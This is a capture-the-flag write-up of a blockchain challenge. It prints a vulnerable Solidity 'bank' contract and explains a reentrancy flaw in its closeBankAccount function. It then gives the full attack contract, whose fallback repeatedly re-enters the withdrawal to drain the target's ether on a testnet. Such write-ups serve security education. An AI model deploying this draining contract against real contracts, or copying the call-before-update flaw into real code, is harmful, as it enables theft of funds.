The Royal Mint of Spain has just called, all their money’s gone. It seems to be coming from their new credit card system linked to the blockchain. Can you investigate and replicate the exploit? They just deployed a test contract for you, steal the ether they stored on it!

Category: Blockchain

Solver: davex, shm0sby

Writeup

When we opened up the challenge website we received the code of the deployed smart contract and the address of this contract. We shorted the source of the contract to the important parts

contract moneyHeist {
    ...

    constructor() public payable {
        possibleWithdrawalPerDay = 0.001 ether;     
        bankRobberAccount[address(this)] = msg.value;
    }
    
    function createNewAccount() public payable {
        require(accountAlreadyExists[msg.sender] == false);
        bankRobberAccount[msg.sender] = msg.value;
        hasAlreadyWithdrawn[msg.sender] = false;
        isAccountActive[msg.sender] = true;
        accountAlreadyExists[msg.sender] = true;
    }
    
    ...

    function transferBetweenAccounts(address destinationAddress, uint transferAmount) public {
        require(isAccountActive[msg.sender] == true && isAccountActive[destinationAddress] == true);
        require(bankRobberAccount[msg.sender] >= transferAmount);
        inWithdrawalProcess[msg.sender] = true;
        fundsMovementProcess(msg.sender,destinationAddress,transferAmount,2);
        inWithdrawalProcess[msg.sender] = false;
    }
    
    function dailyWithdrawalRequest(uint transferAmount) public {
        require(transferAmount <= possibleWithdrawalPerDay);
        require(bankRobberAccount[msg.sender] >= transferAmount);
        require(isAccountActive[msg.sender] == true);
        require(hasAlreadyWithdrawn[msg.sender] == false);
        inWithdrawalProcess[msg.sender] = true;
        (bool isSuccessfulTransfer,) = msg.sender.call.value(transferAmount)("");
        require(isSuccessfulTransfer);
        fundsMovementProcess(address(this),msg.sender,transferAmount,1);
        hasAlreadyWithdrawn[msg.sender] = true;
        inWithdrawalProcess[msg.sender] = false;
    }
    
    function closeBankAccount() public {
        require(isAccountActive[msg.sender] == true);
        (bool isSuccessfulTransfer,) = msg.sender.call.value(bankRobberAccount[msg.sender])("");
        require(isSuccessfulTransfer);
        bankRobberAccount[msg.sender] = 0;
        isAccountActive[msg.sender] = false;
    }
}

We copied the source of the contract into remix [1] and looked up some functions and definitions. The compiler which is used in remix already claimed that the msg.sender.call.value is deprecated. We looked up why this function is deprecated and immediately found a blog post about the so-called Reentrancy Attack. The idea of this attacks is basically that the message sender (us) calls a function like dailyWithdrawalRequest with a prepared smart contract. This contract should contain a fallback method which again calls the same withdraw function. This ends up in a loop because the msg.sender.call.value function of the moneyHeist contract will always call our fallback method. Because of this loop, the amount we should only get once will be sent as much as we like (or the moneyHeist contract runs out of eth). Because this is like a recursion the following code (deactivating our account) is executed after we received all the eth.

The first approach was to abuse the dailyWithdrawalRequest for our Reentrancy Attack. But as you can see the function is very large with even larger function calls in it and we would need a lot of calls because of the small transfer amount. This means that the so-called Gaslimit of our contract will be reached super fast which is bad for our plan because the transaction would fail.

Luckily the smaller function closeBankAccount also contains the msg.sender.call.value function and also transfers a bigger amount of eth, which we freely can define. With this knowledge we crafted our own smart contract where 0xd2959863f13F4E4C20ee08F68941550FbBec9B7d is the address of our target contract

contract RobinHood {
    // Our account - our money :>
    address payable public owner;
    
    constructor() public payable {
        moneyHeist(0xd2959863f13F4E4C20ee08F68941550FbBec9B7d).createNewAccount.value(msg.value)();
        owner = msg.sender;
    }

    // init the attack
    function callClose() public {
        moneyHeist(0xd2959863f13F4E4C20ee08F68941550FbBec9B7d).closeBankAccount();
    }

    // Fallback function which we need for 
    // the reentrancy attack
    fallback () external payable {
        if(address(this).balance < 0.02 ether) {
            callClose();
        }
    }
    
    // Winner winner
    function drain() public {
        owner.transfer(address(this).balance);
    }
}

If the moneyHeist contract calls the msg.sender.call.value() function it triggers the fallback of our contract, which triggers the closeBankaccount method and so on. This repeats until we received all ether from the contract of our victim.

We deployed our RobinHood smart contract to the ropsten testnetwork with the value of 0.01 eth and the max gaslimit we could set (something around 3000000).

We called the callClose() function of our deployed contract to init the attack. After a few seconds, the target moneyHeist contract was empty and we checked the flag on the challenge website.

flag

HTB{Th3_D4ng3R_0f_Re3nTr4ncY}

Other resources

[1] https://remix.ethereum.org/